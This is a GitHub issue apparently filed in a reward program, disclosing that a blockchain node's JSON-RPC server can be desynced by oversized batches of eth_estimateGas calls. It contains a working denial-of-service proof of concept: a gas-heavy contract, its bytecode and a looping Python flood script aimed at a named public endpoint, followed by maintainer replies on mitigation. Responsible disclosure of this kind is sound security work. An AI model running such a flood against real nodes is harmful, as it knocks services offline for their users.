Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ATTACK-REWARD-Excessive batch RPC request #181

Closed
ubunteroz opened this issue Oct 17, 2021 · 5 comments
Closed

ATTACK-REWARD-Excessive batch RPC request #181

ubunteroz opened this issue Oct 17, 2021 · 5 comments

Comments

@ubunteroz
Copy link

ubunteroz commented Oct 17, 2021

TL;DR

Send multiple batch requests that contains thousands of eth_estimateGas calls to RPC server. RPC server will be desynced.

Impact

RPC server will be desynced (not catching up with latest block height). In a load balanced server, users will see inconsistent block height.

Details

As far as I know, currently there is no configuration parameter to limit maximum calls per batch request. The only limit is request size. So, we can send a batch request that contains a lot of calls, such as eth_estimateGas, to RPC server (as long as total request size is below limit). RPC server will happily process all calls.

Currently, request size is limited to ~5MB. With that limit, I can craft a batch of ~8000 calls (PoC included). Each call is an eth_estimateGas of simple contract creation with high gas usage.

Steps to Reproduce

  1. Create a simple contract that will consume a lot of gas & compile it to bytecode
contract Guzzler {
    mapping(uint256 => address) x;
    
    constructor() {
        for (uint256 y = 0; y < 1000000; y++) {
            x[y] = msg.sender;
        }
    }
}

Resulting bytecode:

0x6080604052348015600f57600080fd5b5060005b620f4240811015604a57600081815260208190526040902080546001600160a01b0319163317905580604381604f565b9150506013565b506077565b6000600019821415607057634e487b7160e01b600052601160045260246000fd5b5060010190565b603f8060846000396000f3fe6080604052600080fdfea26469706673582212209b9cf425cbf04167346c45710c92d88c0840bb872ca5b4407e6b66ac113ba0b664736f6c63430008090033
  1. Write a script to create & send batch request
import requests


rpc_url = 'https://cassini.crypto.org:8545'


while True:
    payload = []

    for idx in range(8000):
        payload.append({
            'jsonrpc': '2.0',
            'method': 'eth_estimateGas',
            'params': [{
                'from': '0xB98E1c4aAaAa641C3b84FA9C192817397281D5BB',
                'value': '0x0',
                'gasPrice': hex(int(5000e9)),
                'gas': hex(int(1e8)),
                'data': '0x6080604052348015600f57600080fd5b5060005b620f4240811015604a57600081815260208190526040902080546001600160a01b0319163317905580604381604f565b9150506013565b506077565b6000600019821415607057634e487b7160e01b600052601160045260246000fd5b5060010190565b603f8060846000396000f3fe6080604052600080fdfea26469706673582212209b9cf425cbf04167346c45710c92d88c0840bb872ca5b4407e6b66ac113ba0b664736f6c63430008090033'
            }],
            'id': idx + 1
        })

    result = requests.post(rpc_url, json=payload)
    print(result.content)
  1. Run this multiple times (simultaneously)
python3 script.py
  1. Monitor block height

Screenshots

Gateway timed out
Screen Shot 2021-10-17 at 14 38 22

Block height is lagging (checks every 5s)
Screen Shot 2021-10-17 at 14 38 40

Suggestions

Add configuration parameter to:

  • Limit max number of calls in a batch request
  • Disable batch request completely
@mr-kenikh
Copy link

mr-kenikh commented Oct 17, 2021

It is a known problem in blockchain. Hence transaction fee is one mechanism to deter such behaviour.

@zhongfu
Copy link

zhongfu commented Oct 17, 2021

It is a known problem in blockchain. Hence transaction fee is one mechanism to deter such behaviour.

you can set the transaction fee as high as you want, but that won't fix the issue because you're not actually including any transaction in any block -- you're just estimating the amount of gas required per tx

@mr-kenikh
Copy link

Tried it on my side – my node was stuck 👍🏻

@yihuang
Copy link
Collaborator

yihuang commented Mar 9, 2022

For private node, should not be an issue, for public node, one should limit batch size and apply rate limit in the reverse proxy server.
we are also adding timeout configurations for the json-rpc server: evmos/ethermint#979

@yihuang
Copy link
Collaborator

yihuang commented Aug 18, 2022

closing now, public json-rpc service is protect with rate-limiting.

@yihuang yihuang closed this as completed Aug 18, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants